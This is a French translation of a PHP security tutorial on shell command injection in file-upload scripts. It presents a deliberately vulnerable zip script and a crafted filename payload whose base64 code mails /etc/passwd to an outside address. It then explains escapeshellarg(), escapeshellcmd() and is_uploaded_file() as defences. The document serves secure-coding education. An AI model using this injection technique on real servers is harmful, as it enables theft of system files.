La Sécurité en PHP - Partie 2
Nous voici à nouveau dans les fondations de PHP. Dans mon précédent article, j’initiais ma série sur les bonnes habitudes à prendre en PHP en vous présentant comment la sécurité peut être mise en danger dans vos scripts PHP. Cet article poursuit la discussion avec de nouveaux exemples de trous de sécurité potentiels ainsi que les outils et méthodes que vous pouvez mettre en oeuvre pour y remédier. Aujourd’hui, je commencerai par évoquer l’un des trous potentiels les plus critiques en développement PHP : L’écriture de scripts faisant des appels au système d’exploitation sous-jacent.
Lancer des appels système depuis PHP
En PHP, il y a plusieurs façons d’exécuter des appels système. Tout particulièrement, les fonctions system(), exec(), passthru(), popen(), et l’opérateur “quote arrière” (`) permettent tous d’exécuter des commandes du système d’exploitation à l’intérieur de vos scripts. Chacune de ces fonctions peut aussi, si elle est utilisée de façon inappropriée, “ouvrir un boulevard” à un utilisateur mal intentionné pour qu’il exécute des commandes systèmes sur votre serveur. Comme c’était le cas avec l’accès aux fichiers (Ndt. dans l’article précédent), la plupart du temps, ce type de trous de sécurité se présente lorsqu’une commande système est exécutée à partir de données provenant d’une source extérieure non-sécurisée.
Exemple d’un script exécutant un appel système
Imaginons un script qui manipule un fichier uploadé par HTTP, le compresse avec l’utilitaire zip et le place dans un répertoire spécifique (/usr/local/archives/, par défaut). Voici le code :
<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
if (file_exists($cmp_name)) {
$savepath = $store_path.$filename;
rename($cmp_name, $savepath);
}
}
}
?>
<form enctype="multipart/form-data" action="<?
php echo $_SERVER['PHP_SELF'];
?>" method="POST">
<input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
File to compress: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>
Bien que ce script semble tout à fait correct et efficace, il présente plusieurs failles dans lesquelles un utilisateur mal intentionné pourra s’engouffrer. Le principal souci réside dans la façon dont nous avons exécuté la commade de compression (avec l’opérateur “quote arrière”), et en particulier les lignes suivantes :
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
...
Tromper le script pour qu’il exécute n’importe quelle commande du shell
Bien que ce code paraisse totalement inoffensif, il peut, potentiellement, permettre à n’importe quel utilisateur qui a la possibilité d’uploader un fichier, d’exécuter n’importe quelle commande du shell ! Cette faille de sécurité vient notamment de la façon dont est créée la variable $cmp_name. Puisque dans ce cas particulier, il a été souhaité que le fichier compressé garde le nom original qu’il portait sur la machine cliente (avec l’extension .zip), $_FILES['file']['name'] a été utilisée (cette variable contient le nom du fichier tel qu’il était sur la machine cliente). Dans ce cas, un utilisateur mal intentionné pourrait détourner l’objet du script en téléchargeant un fichier contenant des méta-caractères ayant une signification particulière pour le système d’exploitation. Par exemple, que se passerait-il si l’utilisateur avait créé un fichier vide de la façon suivante (à l’invite de commande d’un shell UNIX) ?
[user@localhost]# touch ";php -r '$code=base64_decode(\
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
system($code);';"
Cette commande créerait un fichier dont le nom serait le suivant :
;php -r '$code=base64_decode( "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA=="); system($code);';
Ça paraît bizarre, non ? Disons qu’à regarder le nom du fichier, on peut dire qu’il ressemble à la commande utilisée pour lancer l’interpréteur PHP en ligne de commande pour exécuter le code suivant :
<?php
$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);
?>
Juste par curiosité, si vous cherchiez à afficher le contenu de la variable $code, vous verriez qu’elle contient mail baduser@somewhere.com < /etc/passwd. Si l’utilisateur uploadait ce fichier avec le script PHP, quand celui-ci s’exécutera, PHP exécutera l’instruction suivante :
/usr/bin/zip /tmp/;php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';.zip /tmp/phpY4iatI
Oh surprise ! la commande ci-dessus n’est pas une simple commande, mais bien plutôt trois commandes distinctes ! Puisqu’UNIX interprète le point-virgule pour signifier la fin d’une commande shell et le début d’une autre, tant que ce caractère n’est pas protégé par des quotes, l’appel système PHP system() exécute en fait :
[user@localhost]# /usr/bin/zip /tmp/
[user@localhost]# php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);'
[user@localhost]# .zip /tmp/phpY4iatI
Comme vous pouvez vous en rendre compte, ce petit script PHP inoffensif est devenu une porte ouverte pour exécuter n’importe quelle commande du shell, y compris l’exécution d’autres scripts PHP ! Bien que cet exemple précis ne puisse fonctionner que sur des systèmes où l’utilisateur, “simulé” par le serveur web, a la version en ligne de commande de PHP dans son chemin d’accès (ce qui ne devrait pas arriver), cette technique peut être utilisée d’autres façons pour obtenir le même résultat.
Se protéger contre des attaques sur appels système
Le problème ici, une nouvelle fois, est que la donnée entrée par l’utilisateur, quel que soit le contexte, ne devrait jamais être prise pour argent comptant ! La question reste toujours la même : Comment éviter de telles situations lorsqu’on utilise des appels-systèmes (à part, bien entendu, ne pas les utiliser) ? Pour se prémunir de telles attaques, PHP fournit deux fonctions escapeshellarg() et escapeshellcmd().
La fonction escapeshellarg() est conçue pour retirer, voire éliminer, tout caractère potentiellement dangereux reçu de l’entrée utilisateur pouvant être utilisé comme argument de commandes système (dans notre cas, la commande zip). La syntaxe de cette fonction est la suivante :
escapeshellarg($string)
où $string est l’entrée à nettoyer, et la valeur de retour est la chaîne “nettoyée”. Quand elle sera exécutée, cette fonction ajoutera des quotes simples autour de la chaîne et échappera (mettra une barre oblique arrière devant) toute quote simple existante dans la chaîne. Dans notre script de démonstration, si nous avions placé ces deux lignes avant l’exécution de la commande système :
$cmp_name = escapeshellarg($cmp_name); $tmp_name = escapeshellarg($tmp_name);
nous aurions pu éviter ce risque de faille en nous assurant que l’argument passé à l’appel système sera traité comme un seul argument quelle que soit l’entrée de l’utilisateur.
escapeshellcmd() est comparable à sa “cousine”, à ceci près qu’elle n’échappe que les caractères ayant une signification particulière pour le système d’exploitation sous-jacent. Au contraire de escapeshellarg(), escapeshellcmd() ne traitera pas des entrées qui contiennent des espaces. Par exemple, la chaîne suivante, traitée par escapeshellcmd():
$string = "'hello, world!';commandeagressive"
deviendra :
'hello, world';commandeagressive
Ce qui peut toujours avoir des effets indésirables si la chaîne est utilisée comme argument d’un appel système, parce que le shell l’interprètera comme deux arguments distincts : ‘hello et world’;commandeagressive, respectivement. Si l’entrée utilisateur est destinée à être utilisée comme argument d’une commande de shell, la fonction escapeshellarg() est toujours le meilleur choix.
Protéger les fichiers uploadés
Pendant toute la durée de cet article je me suis uniquement focalisé sur la façon dont les appels système pouvaient être piratés par un type mal intentionné pour produire un résultat indésirable. Cependant, il y a aussi un autre risque en termes de sécurité dans le script qui vaut la peine d’être mentionné. Replongez-vous dans notre exemple de script et portez votre attention sur les lignes suivantes :
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name))
La ligne de code de l’extrait ci-dessus qui est un risque potentiel de sécurité est la toute dernière où nous vérifions que le fichier téléchargé (sauvegardé sous le nom temporaire de $tmp_name) existe réellement. Le risque ne vient pas de PHP en lui-même, mais de la possibilité que le fichier stocké sous le nom $tmp_name ne soit pas un fichier uploadé, mais plutôt un “pointeur” vers un fichier auquel le pirate voudrait accéder, disons, /etc/passwd. Pour se prémunir de telles situations, PHP fournit la fonction is_uploaded_file(), qui est identique à la fonction file_exists() , à ceci près qu’elle ajoute une vérification supplémentaire pour s’assurer que le fichier est bien celui qui a été monté de la machine cliente.
Dans certaines circonstances, vous aurez probablement à déplacer (ou renommer) le fichier téléchargé. Pour cela, PHP met à votre disposition la fonction move_uploaded_file() pour compléter is_uploaded_file(). Cette fonction fonctionne comme la fonction rename() pour déplacer (ou renommer) les fichiers, sauf qu’elle vérifiera automatiquement que le fichier déplacé (ou renommé) est un fichier uploadé avant de s’exécuter. La syntaxe de move_uploaded_file() est la suivante :
move_uploaded_file($filename, $destination);
Lorsqu’elle est exécutée, la fonction déplace (ou renomme) le fichier uploadé $filename vers la destination $destination et retourne un booléen indiquant si l’opération s’est terminée avec succès ou pas.
La suite bientôt
Ainsi se termine une nouvelle page de la mise en place des fondations de PHP. Comme vous pouvez le voir, il y a de nombreux trucs et techniques pour tirer profit de scripts PHP. Heureusement, PHP fournit aussi nombres de fonctions (comme celles présentées dans l’article d’aujourd’hui) pour vous aider à rendre votre code aussi sûr que possible. Je le redis une nouvelle fois, tout réside dans le fait de ne jamais faire confiance à une source de données externe. Dans mon prochain article, j’évoquerai deux autres pièces importantes du puzzle qu’est la sécurité : Le rapport et la journalisation des erreurs dans vos scripts PHP. A bientôt donc.

Textes originaux en anglais sur O’Reilly : PHP security, Part 2 par John Coggeshall
Chargement
Commentaires récents